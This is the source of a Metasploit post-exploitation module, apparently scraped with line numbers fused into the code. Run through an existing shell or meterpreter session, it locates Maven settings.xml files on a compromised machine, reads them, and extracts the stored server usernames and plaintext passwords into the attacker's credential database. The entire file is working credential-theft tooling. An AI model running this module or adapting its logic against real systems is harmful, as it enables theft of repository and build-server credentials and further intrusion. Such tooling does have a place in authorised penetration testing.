Path: blob/master/modules/post/multi/gather/maven_creds.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'nokogiri'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather Maven Credentials Collection',16'Description' => %q{17This module will collect the contents of all users settings.xml on the targeted18machine.19},20'License' => MSF_LICENSE,21'Author' => ['elenoir'],22'Platform' => %w[bsd linux osx unix win],23'SessionTypes' => ['shell', 'meterpreter'],24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27core_channel_eof28core_channel_open29core_channel_read30core_channel_write31]32}33},34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [],37'Reliability' => []38}39)40)41end4243def gathernix44print_status('Unix OS detected')45files = cmd_exec('locate settings.xml').split("\n")46# Handle case where locate does not exist (error is returned in first element)47if files.length == 1 && !directory?(files.first)48files = []49paths = enum_user_directories.map { |d| d }50if paths.nil? || paths.empty?51print_error('No users directory found')52return53end54paths.each do |path|55path.chomp!56file = 'settings.xml'57target = "#{path}/#{file}"58if file? target59files.push(target)60end61end62end63return files64end6566def gatherwin67print_status('Windows OS detected')68return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")69end7071def run72print_status('Finding user directories')73files = ''74case session.platform75when 'windows'76files = gatherwin77when 'unix', 'linux', 'bsd', 'osx'78files = gathernix79else80print_error('Incompatible platform')81end82if files.nil? || files.empty?83print_error('No settings.xml file found')84return85end86download_loot(files)87end8889def download_loot(files)90print_status("Looting #{files.count} files")91files.each do |target|92target.chomp!93if file? target94print_status("Downloading #{target}")95extract(target)96end97end98end99100def parse_settings(target, data)101xml_doc = Nokogiri::XML(data)102xml_doc.remove_namespaces!103104xml_doc.xpath('//server').each do |server|105id = server.xpath('id').text106username = server.xpath('username').text107password = server.xpath('password').text108109print_status('Collected the following credentials:')110print_status(' Id: %s' % id)111print_status(' Username: %s' % username)112print_status(' Password: %s' % password)113114print_status('Try to find url from id...')115realm = ''116117xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|118realm = mirror.xpath('url').text119print_status("Found url in mirror : #{realm}")120end121122if realm.blank?123xml_doc.xpath("//repository[id = '#{id}']").each do |repository|124realm = repository.xpath('url').text125print_status("Found url in repository : #{realm}")126end127end128129if realm.blank?130print_status('No url found, id will be set as realm')131realm = id132end133134print_line('')135136credential_data = {137origin_type: :import,138module_fullname: fullname,139filename: target,140service_name: 'maven',141realm_value: realm,142realm_key: Metasploit::Model::Realm::Key::WILDCARD,143private_type: :password,144private_data: password,145username: username,146workspace_id: myworkspace_id147}148create_credential(credential_data)149end150end151152def extract(target)153print_status("Reading settings.xml file from #{target}")154data = ''155if session.type == 'shell'156data = session.shell_command("cat #{target}")157else158settings = session.fs.file.new(target.to_s, 'rb')159data << settings.read until settings.eof?160end161162parse_settings(target, data)163end164end165166167